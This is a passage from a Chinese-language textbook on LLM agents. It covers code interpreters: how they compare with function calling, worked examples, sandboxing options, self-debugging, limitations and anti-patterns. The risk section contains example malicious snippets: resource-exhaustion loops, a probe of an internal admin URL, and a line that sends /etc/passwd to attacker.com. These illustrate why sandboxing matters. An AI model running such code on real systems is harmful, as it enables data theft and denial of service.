6.3 代码解释器:让智能体写代码解决问题 函数调用再强大,也只能调用「我们预先准备好的工具」。但 Agent 遇到的需求是无限的——用户可能要算复利、做回归分析、画一张图、清洗一份 CSV。我们不可能为每个需求都写一个函数。这时候,让 Agent 自己写代码解决问题,就成了最强大的工具——因为代码本身图灵完备,能做几乎任何事。 6.3.1 为什么需要代码解释器 回到 6.1 节的对比:函数调用是「让 LLM 用我们准备好的工具」,代码解释器是「让 LLM 自己造工具」。
函数调用再强大,也只能调用「我们预先准备好的工具」。但 Agent 遇到的需求是无限的——用户可能要算复利、做回归分析、画一张图、清洗一份 CSV。我们不可能为每个需求都写一个函数。这时候,让 Agent 自己写代码解决问题,就成了最强大的工具——因为代码本身图灵完备,能做几乎任何事。
回到 6.1 节的对比:函数调用是「让 LLM 用我们准备好的工具」,代码解释器是「让 LLM 自己造工具」。
函数调用只能解决「已知能力」:
| 场景 | 函数调用能否解决 |
|---|---|
| 查苹果股价 | ✅ 已有 get_stock |
| 发邮件 | ✅ 已有 send_email |
| 算「本金 1 万,年化 5%,10 年后复利」 | ❌ 没有专门函数 |
| 对一份 CSV 做线性回归 | ❌ 没有专门函数 |
| 把数据画成饼图 | ❌ 没有专门函数 |
| 批量处理 1000 行数据 | ❌ 没有专门函数 |
后半部分需求是开放的、不可预知的。函数调用永远不够用——除非让 Agent 自己写代码。
代码解释器(Code Interpreter)让 LLM 生成代码 → 在沙箱里运行 → 拿到结果。它的核心洞察:代码是 LLM 表达「任意计算」的最强语言。
| 维度 | 函数调用 | 代码解释器 |
|---|---|---|
| 能力 | 限于预定义工具 | 图灵完备(几乎任何计算) |
| 灵活性 | 低 | 高 |
| 安全性 | 高(函数可控) | 低(需强沙箱) |
| 适用 | 已知能力 | 未知能力 |
💡 代码解释器的本质贡献:它让 Agent 从「受限于我们提供的工具」变成「能自我编程」。OpenAI ChatGPT 的 Code Interpreter、Claude 的 Analysis Tool、各大框架的沙箱执行,都是这一思想的产品化。
代码解释器不是「写一次代码就完事」,而是一个写-跑-看-改的循环:
这与 ReAct 循环本质相同——代码也是一种 Action,只是它特别强大、特别灵活。
任务:「算一下本金 1 万元、年化 5%、复利 10 年后是多少钱」。
任务: 本金 10000,年化 5%,复利 10 年后? [Thought] 这是一个复利计算,我可以用 Python 直接算。 [Code] principal = 10000 rate = 0.05 years = 10 result = principal * (1 + rate) ** years print(f"{result:.2f}") [/Code] [Output] 16288.95 [Thought] 算出来了,约 16289 元。可以再画个增长曲线图给用户看。 [Code] import matplotlib.pyplot as plt years = range(0, 11) values = [10000 * (1.05) ** y for y in years] plt.plot(years, values) plt.xlabel("Year") plt.ylabel("Value") plt.title("Compound Growth") plt.savefig("growth.png") [/Code] [Output] (图已保存) [Final Answer] 10 年后约 16288.95 元。附增长曲线图。
注意这条轨迹的几个关键点:
| 观察 | 含义 |
|---|---|
| 第一段代码做计算 | 代码解释器最基础用法 |
| 第二段代码画图 | 自然延伸到数据可视化 |
| 错误时自纠 | LLM 看报错后改代码重跑 |
| 中间结果驱动下一步 | 与 ReAct 同构 |
代码解释器在以下场景表现卓越:
用户上传一份 CSV,问「按地区统计销量,画饼图」。
import pandas as pd df = pd.read_csv("sales.csv") summary = df.groupby("region")["sales"].sum() summary.plot.pie(autopct="%1.1f%%")
这是函数调用无法覆盖的能力——没有预定义的「按地区统计画饼图」函数。
数学、统计、金融、工程计算。
# 蒙特卡洛模拟股票价格 import numpy as np returns = np.random.normal(0.0001, 0.02, 252) prices = 100 * np.cumprod(1 + returns)
格式转换、去重、合并、抽取。
# 从一堆 JSON 里抽取特定字段 data = [json.loads(line) for line in open("data.jsonl")] names = [d["user"]["name"] for d in data if "user" in d]
让 Agent 写一个「快速原型」验证想法。
批量处理 1000 个文件、批量调 API。
| 场景 | 为什么代码解释器合适 |
|---|---|
| 数据分析 | 需按需组合 pandas/matplotlib |
| 复杂计算 | 需任意数学表达 |
| 数据清洗 | 需按数据特征写处理逻辑 |
| 可视化 | 需按需求画各种图 |
| 批量任务 | 需循环、并行、错误处理 |
💡 代码解释器的「杀手级应用」是数据分析:用户上传 Excel/CSV,用自然语言问「按 X 分组算 Y 的均值」「画 Z 的趋势图」,Agent 写代码搞定。这正是 ChatGPT Code Interpreter、OpenAI Advanced Data Analysis 的核心场景。
代码解释器在工程上需要几个关键组件:
代码必须在隔离环境运行,不能影响宿主系统(6.4 节详述)。常用方案:
| 沙箱方案 | 隔离强度 | 性能 |
|---|---|---|
| Docker 容器 | 强 | 中 |
| WebAssembly | 极强 | 高 |
| gVisor / Firecracker | 极强 | 中 |
| 云函数(Lambda) | 强 | 低(冷启动) |
| 进程隔离 + seccomp | 中 | 高 |
代码解释器要预装常用库(pandas、numpy、matplotlib、scikit-learn 等),并支持按需安装。
代码可以分多段运行,前一段的变量、文件在后一段仍可用。这需要持久化会话状态(如 Jupyter Kernel 模式)。
[Code 1] df = pd.read_csv("data.csv") ← df 创建 [Code 2] df.head() ← df 还在 [Code 3] df.groupby(...).sum() ← df 仍在
代码解释器的精髓之一是「自我调试」——代码报错时,LLM 看报错、改代码、重跑,直到成功。
[Code 1] import pandas as pd df = pd.read_csv("data.csv") df.groupby("region").suum() ← 拼错了 sum [Output] AttributeError: 'DataFrame' object has no attribute 'suum'. Did you mean: 'sum'? [Thought] 我拼错了,应该是 sum 不是 suum。 [Code 2] df.groupby("region").sum() ← 改对 [Output] (正确结果)
这种「错了就改」的能力,让代码解释器比一次性代码生成鲁棒得多。本质上是 ReAct 范式(第 4 章)在代码执行场景的应用——错误回喂、自主纠错。
💡 自我调试的关键是「错误信息要完整回喂」:截断或省略错误堆栈,会让 LLM 失去诊断依据。生产代码解释器应当返回完整的错误类型、消息、堆栈,让 LLM 像程序员一样读报错。
代码解释器不是函数调用的替代品,而是互补。生产 Agent 常同时用两者:
| 需求类型 | 用什么 |
|---|---|
| 查询(股价、天气) | 函数调用(高效、安全) |
| 操作(发邮件、写 DB) | 函数调用(可控、可审计) |
| 任意计算 | 代码解释器(灵活) |
| 数据分析 | 代码解释器(图灵完备) |
「函数调用取数 + 代码解释器分析」是最常见的协同模式。
代码解释器是 Agent 风险最高的能力——代码能干任何事,包括坏事。
恶意代码可能尝试突破沙箱,访问宿主系统。
# 死循环烧 CPU while True: pass # 内存爆炸 x = ["data"] * 10**10 # 磁盘填满 with open("big", "w") as f: while True: f.write("x" * 10**9)
# 试图攻击内网 import requests requests.get("http://internal-server/admin")
# 把敏感数据发到外部 import requests requests.post("https://attacker.com", data=open("/etc/passwd").read())
⚠️ 代码解释器必须配套强沙箱。一个没有沙箱的代码解释器,等于把整台服务器交给 LLM。沙箱隔离、资源限制、网络管控是代码解释器的三道生命线——这是下一节(6.4)的核心主题。
代码解释器虽强,也有局限:
| 局限 | 表现 |
|---|---|
| 延迟 | 启动沙箱、装依赖、跑代码,比函数调用慢 |
| 不稳定 | LLM 生成的代码可能跑不通,需多次自纠 |
| 难审计 | 任意代码难以事前审计 |
| 不适合 I/O 重操作 | 发邮件、调 API,函数调用更合适 |
| 不适合实时 | 启动+运行延迟,不适合实时交互 |
💡 代码解释器是「重型武器」:它强大但慢、灵活但风险高。生产 Agent 应当根据任务性质路由——已知能力走函数调用,未知计算才上代码解释器。用代码解释器解决「查股价」这种简单任务,是杀鸡用牛刀。
代码解释器的极致延伸,是 Computer Use——让 Agent 直接操作图形界面(点击、输入、滚动)。这是 2024-2025 年的前沿方向(Anthropic Computer Use、OpenAI Operator 等)。
| 维度 | 代码解释器 | Computer Use |
|---|---|---|
| 操作对象 | 代码运行环境 | 真实操作系统 GUI |
| 能力 | 计算、数据分析 | 任意软件操作 |
| 风险 | 沙箱内 | 真实世界,不可逆 |
| 成熟度 | 主流 | 前沿 |
Computer Use 可以看作「让代码解释器操作整个电脑」——它的能力更广,但风险也更高。第 8.4 节会进一步讨论。
| 反模式 | 表现 | 后果 | 正确做法 |
|---|---|---|---|
| 无沙箱 | 直接在宿主跑代码 | 灾难 | 强制容器化 |
| 截断错误信息 | 只返回 "Error" | 自我调试失效 | 完整堆栈回喂 |
| 不限资源 | 不限 CPU/内存 | 资源耗尽 | 配额限制 |
| 不限网络 | 任意访问 | 数据泄露 | 网络白名单 |
| 滥用代码解释器 | 查股价也写代码 | 慢、贵 | 函数调用优先 |
| 无状态会话 | 每次重新启动 | 多步任务断 | 持久会话 |
下一节《6.4 安全执行:沙箱、权限与人类在环》是本章的重头戏——讨论让这一切「能干」的能力「安全地干」的全部机制。